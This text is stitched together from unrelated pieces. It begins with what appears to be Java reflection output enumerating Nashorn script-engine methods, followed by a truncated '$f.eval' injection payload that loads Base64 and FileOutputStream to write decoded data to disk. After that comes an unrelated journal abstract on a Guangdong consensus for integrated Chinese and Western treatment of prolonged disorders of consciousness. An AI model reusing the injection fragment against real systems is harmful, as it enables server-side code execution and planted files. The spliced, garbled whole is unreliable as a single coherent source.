public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2026, Vol. 46 ›› Issue (5): 1193-1202.doi: 10.12122/j.issn.1673-4254.2026.05.24

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Guangdong consensus on integrated Chinese and Western medicine management of prolonged disorders of consciousness

  

  • Received:2025-08-06 Online:2026-05-20 Published:2026-05-27

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Abstract:

Severe traumatic brain injury often results in disorders of consciousness. After acute-phase management, some patients gradually regain consciousness, yet many progress to prolonged disorders of consciousness (pDoC). In this stage, intracranial pathology stabilizes, and precise assessment of brain function combined with consciousness-promoting therapy becomes the cornerstone of comprehensive care. Currently, the Western medical treatments of pDoC primarily involves pharmacological and neuromodulation therapies, but their efficacy remains controversial and lacks support from high-quality evidence. In traditional Chinese medicine (TCM), pDoC is categorized under "Shenhun", with abundant documentation in classical texts. Modern research has also explored the therapeutic effects and mechanisms of TCM for this condition and demonstrated its great potential in improving brain functional connectivity and promoting recovery of consciousness. However, the efficacy and mechanisms of TCM interventions still lack robust support from high-quality research evidence. Although integrated Chinese and Western medicine is widely employed for pDoC, no evidence-based guidelines or consensus specific to the condition are currently available. To improve the clinical proficiency across Guangdong Province and standardize the integrative management of pDoC, the consensus working group convened 35 leading Chinese and Western medicine experts in neurology, neurosurgery, and rehabilitation. Based on the latest domestic and international evidence, they developed recommendations on diagnosis, evaluation, integrated treatment strategies, complication management, healthcare system development, and ethical considerations, aiming to provide an authoritative reference for clinical decision-making in pDoC management.

Key words: prolonged disorders of consciousness, integrated Chinese and Western Medicine, consensus, evaluation, treatment